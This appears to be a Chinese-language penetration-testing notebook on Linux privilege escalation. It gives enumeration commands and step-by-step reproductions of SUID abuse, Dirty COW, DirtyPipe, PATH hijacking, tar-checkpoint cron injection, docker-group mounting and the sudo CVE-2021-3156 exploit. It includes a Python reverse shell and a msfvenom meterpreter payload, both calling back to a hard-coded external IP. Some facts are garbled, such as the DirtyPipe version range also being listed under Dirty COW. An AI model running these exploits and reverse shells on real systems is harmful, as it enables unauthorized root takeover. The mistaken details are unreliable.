文章目录
- 信息收集
- 通过命令收集信息
- 内核,操作系统,设备信息等
- 用户信息
- 环境信息
- 进程与服务
- 安装的软件
- 服务与插件
- 计划任务
- 查看是否存在明文密码
- 查看与主机的通信信息
- 查看日志信息
- 通过脚本收集信息
- LinEnum脚本
- 介绍
- 复现
- Linuxprivchecker
- 复现
- linux-exploit-suggester
- linux-exploit-suggester-2
- 复现
- SUID提权
- SUID介绍
- 查找具有SUID权限的程序
- 复现
- 内核提权
- 脏牛提权
- 介绍
- 影响版本
- 复现
- DirtyPipe提权
- 介绍
- 影响版本
- 复现
- 法一
- 法二
- 环境变量提权
- 介绍
- 复现
- 环境搭建
- 利用
- 定时备份任务提权
- 介绍
- 复现
- 数据库提权
- 自动化提权
- Multiple工具
- 复现
- Rsync未授权本地覆盖
- 介绍
- 复现
- Docker组挂载
- 介绍
- 复现
- Sudo提权
- 介绍
- 影响版本
- 复现
- Polkit漏洞提权
- 介绍
- 复现
信息收集
-
通过命令收集信息
-
内核,操作系统,设备信息等
-
打印所有可用的系统信息,
uname -a
-
打印内核信息,
cat /proc/version
-
打印分发信息,
cat /proc/version
-
打印CPU信息,
cat /proc/cpuinfo
-
-
用户信息
-
列出系统上所有用户,
cat /etc/passwd
-
查看所有组,
cat /etc/group
-
列出所有超级用户,
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
-
列出用户上次登陆情况,
lastlog
-
查看当前谁在登录,在做什么,
w
-
-
环境信息
-
显示环境变量,
env
-
显示可用的shell,
cat /etc/shells
-
-
进程与服务
-
显示端口号与服务,
cat /etc/services
-
动态地监视系统的进程和资源使用情况,
top
-
显示当前系统中所有运行中的进程的详细信息,
ps aux
-
-
安装的软件
-
ls -alh /usr/bin/ls -alh /sbin/ls -alh /var/cache/yum/dpkg -l
-
-
服务与插件
-
cat /etc/syslog.confcat /etc/chttp.confcat /etc/lighttpd.confcat /etc/cups/cupsd.confcat /etc/inetd.confcat /etc/apache2/apache2.confcat /etc/my.confcat /etc/httpd/conf/httpd.confcat /opt/lampp/etc/httpd.confls -aRl /etc/ | awk '$1 ~ /^.*r.*/
-
-
计划任务
-
crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root
-
-
查看是否存在明文密码
-
grep -i user [filename]grep -i pass [filename]grep -C 5 "password" [filename]find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
-
-
查看与主机的通信信息
-
lsof -ilsof -i :80grep 80 /etc/servicesnetstat -anptlnetstat -antupnetstat -antpxnetstat -tulpnchkconfig --listchkconfig --list | grep 3:onlastw
-
-
查看日志信息
-
cat /var/log/boot.logcat /var/log/croncat /var/log/syslogcat /var/log/wtmpcat /var/run/utmpcat /etc/httpd/logs/access_logcat /etc/httpd/logs/access.logcat /etc/httpd/logs/error_logcat /etc/httpd/logs/error.logcat /var/log/apache2/access_logcat /var/log/apache2/access.logcat /var/log/apache2/error_logcat /var/log/apache2/error.logcat /var/log/apache/access_logcat /var/log/apache/access.logcat /var/log/auth.logcat /var/log/chttp.logcat /var/log/cups/error_logcat /var/log/dpkg.logcat /var/log/faillogcat /var/log/httpd/access_logcat /var/log/httpd/access.logcat /var/log/httpd/error_logcat /var/log/httpd/error.logcat /var/log/lastlogcat /var/log/lighttpd/access.logcat /var/log/lighttpd/error.logcat /var/log/lighttpd/lighttpd.access.logcat /var/log/lighttpd/lighttpd.error.logcat /var/log/messagescat /var/log/securecat /var/log/syslogcat /var/log/wtmpcat /var/log/xferlogcat /var/log/yum.logcat /var/run/utmpcat /var/webmin/miniserv.logcat /var/www/logs/access_logcat /var/www/logs/access.logls -alh /var/lib/dhcp3/ls -alh /var/log/postgresql/ls -alh /var/log/proftpd/ls -alh /var/log/samba/Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
-
-
-
通过脚本收集信息
SUID提权
-
SUID介绍
* **SUID(Set User ID)** 是一个特殊的权限位,当设置在可执行文件上时,无论谁运行该文件,该文件都会以文件所有者的身份运行。* 这意味着如果一个可执行文件的所有者是 `root`,并且该文件被设置了 SUID 位,那么无论任何用户运行这个文件,程序都将拥有 `root` 用户的权限。
-
查找具有SUID权限的程序
-
find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null-perm 指定权限-u=s 表示SUID权限-type 指定文件类型f 表示常规文件,而不是目录或特殊文件2 表示该进程的第二个文件描述符,即stderr(标准错误)/dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
-
常见的存在提权的命令汇总
-
CTFOBins
SUID提权参考
-
-
-
复现
-
靶场:使用
chmod u+s /usr/bin/find
命令给find加上SUID权限,ubantu系统 -
使用
find / -perm -u=s -type f 2>/dev/null
命令查看到系统存在find命令的SUID -
直接使用
find 41458.c -exec whoami \;
命令执行即为root命令执行 -
反弹shell,如果直接用nc进行弹shell的话,就会发现还是普通用户,所以我们需要借助python的命令来弹shell、
-
find 41458.c -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("43.139.186.80",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' \;
-
-
也可以通过msf进行webshell
-
生成木马,
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=43.139.186.80 LPORT=5566 -f elf > cong.elf
-
设置5566端口监听
-
上传木马,给予权限并运行木马
-
find 41458.c -exec chmod +x cong.elf \;find 41458.c -exec ./cong.elf \;
-
-
-
内核提权
-
脏牛提权
-
介绍
- 脏牛(Dirty COW,COW代表 Copy-On-Write)是一个在Linux内核中发现的安全漏洞,正式的漏洞编号为 CVE-2016-5195。它是一个关于内存管理的竞态条件漏洞,可以允许本地用户获得对只读内存的写入权限,从而实现提升权限。这个漏洞被发现影响了自1998年以来几乎所有版本的Linux内核。
-
影响版本
- Linux Kernel版本 >= 5.8
- Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
-
复现
-
EXP下载:脏牛EXP
-
将exp上传至服务器
-
编译exp的c文件,
gcc -pthread dirty.c -o dirty -lcrypt
-
执行exp,
./dirty 123456
,成功了就会出现firefart用户,密码为123456,我这里不知道为什么显示是成功的,实际上没有
-
-
-
DirtyPipe提权
-
介绍
- DirtyPipe 是一个在 Linux 内核中发现的严重安全漏洞,具体编号为 CVE-2022-0847。这个漏洞影响了 Linux 内核版本 5.8 及以上,直到被发现并修复前。它允许本地用户利用一个错误,通过管道(pipe)操作来覆盖只读文件的内容,包括系统文件。这种能力使得普通用户可以修改原本只有系统管理员才能访问的文件,从而获取更高的系统权限或执行未授权的代码,导致潜在的安全风险和数据泄露。这个漏洞因其涉及的管道(pipe)操作和数据覆盖的特点而得名“DirtyPipe”。
-
影响版本
- Linux Kernel版本 >= 5.8
- Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
-
复现
-
环境变量提权
-
介绍
- 原理就是原本有一个sh文件可以执行ps命令并且被赋予SUID权限,那么使用者调用这个文件时的权限即为root,就是说使用者用root权限来调用ps命令,这就是导致漏洞的根本原因,攻击者只需要将ps命令的路径优先级换成恶意的bash路径,那么服务器就会使用root权限去执行bash了从而获取到root权限
-
复现
-
环境搭建
-
在/tmp(这个目录通常可读可写)目录下创建shell.c文件,写以下内容
-
#include <stdlib.h>int main() {system("ps");return 0;}
-
-
编译shell.c文件,
gcc shell.c -o shell
-
赋予其SUID权限让普通用户也可以执行,
chmod u+s shell
-
-
利用
-
当用户执行shell文件时,他会在这里的环境变量中一个一个寻找是否存在ps文件,跟执行
/bin/ps
命令原理一样 -
所以我们只要将恶意的bash路径放在放在前面并命名为ps,
cp /bin/bash /tmp/ps
-
改变环境变量的优先级,
export PATH=/tmp:$PATH
-
执行脚本即可
-
-
定时备份任务提权
-
介绍
- 定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录
- 提权的前提是存在一个执行危险脚本的任务计划,并且这个任务计划执行的执行脚本可以被非root权限用户修改覆盖,并可以正常执行任务计划
-
复现
-
靶场搭建
-
假设我们需要打包备份13目录下的文件,那我们就在/tmp目录下创建cong.sh文件,在里面写入打包的命令,
cd /tmp/123;tar -zcf /tmp/bf.tar.gz *
-
给备份脚本执行权限,
chmod +x cong.sh
-
编辑计时任务,写入计时计划来定时执行cong.sh文件进行备份
-
vi /etc/crontab ##编辑定时任务* * * * * root /tmp/bf.sh ##创建定时任务cat /etc/crontab ##查看定时任务
-
-
-
利用
-
查看下定时任务,
cat /etc/crontab
-
直接执行以下命令
-
echo "" > --checkpoint=1 echo "" > "--checkpoint-action=exec=sh test.sh" ##执行test.sh文件echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > test.sh ##将/bin/bash复制到/tmp下,并提权SUID权限,同时将命令写入到test.sh脚本中chmod +x test.sh ##赋予执行权限
-
-
直接执行
./bash -p
命令,成功提权
-
-
数据库提权
-
自动化提权
-
Multiple工具
-
下载地址
- MDUT
-
复现
-
先打开工具,
java -jar 工具名
-
靶场搭建
-
首先搭建个pikachu
-
在
vi /etc/my.cnf
修改配置,在[mysqld]
加入secure-file-priv = NULL
-
重启sql服务,
sudo systemctl restart mysqld
-
检查是否设置,
show global variables like '%secure%';
-
-
如果我们直接连接肯定是不行的,因为这是本地数据库,我们需要进行内网穿透,用冰蝎的内网穿透来将3306的端口转发到2222端口出来
-
数据库有点复杂,靶场又没有,先不复现,大概就是用哪个工具连接端口2222即可,然后一直用鼠标点就行了,这个工具win和linux系统都行
-
-
-
Rsync未授权本地覆盖
-
介绍
- Rsync是一种广泛使用的文件同步和文件传输工具,它能够有效地同步远程和本地系统之间的文件。然而,当Rsync配置不当时,可能会引起严重的安全问题,比如“Rsync未授权本地覆盖”。这种情况通常发生在Rsync服务器对外开放,且未正确设置访问控制和认证机制时。未经授权的用户可以利用这个漏洞,通过Rsync向目标系统上传或修改文件,甚至可能覆盖关键文件,从而控制或破坏系统。因此,确保适当的安全配置,如设置访问权限列表、使用SSH为传输加密等,是非常重要的。
-
复现
- ((20240812233025-1v91wyl ‘未授权访问’))
Docker组挂载
-
介绍
- 利用docker服务启动镜像挂载目录,从而来访问root目录、etc目录等敏感文件来进行权限提升。虽然可以用docker执行任意命令,但是这个在docker组的用户已经在sudoders文件里的
- 前提条件:已获取本地普通用户权限,且普通用户在docker组中。
-
复现
- 直接使用
docker run -v /root:/mnt -it alpine
命令即可
- 直接使用
Sudo提权
-
介绍
-
sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156),可导致本地权限提升。
当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行
命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
-
-
影响版本
- sudo: 1.8.2 - 1.8.31p2
- sudo: 1.9.0 - 1.9.5p1
-
复现
-
脚本链接:blasty/CVE-2021-3156 (github.com)
-
查看sudo版本是否存在漏洞,
sudo --version
-
执行
sudoedit -s /
存在报错则存在漏洞 -
下载脚本在/tmp目录下,
git clone https://github.com/blasty/CVE-2021-3156.git
-
进入项目,
cd CVE-2021-3156
-
编译项目,
make
-
赋予执行权限,
chmod a+x sudo-hax-me-a-sandwich
-
执行
./sudo-hax-me-a-sandwich
命令,获取脚本编号 -
使用
uname -a
获取靶机系统信息 -
将脚本编号与靶机的系统信息选择对应的编号,
./sudo-hax-me-a-sandwich 2
-
执行成功之后即可获取root权限
-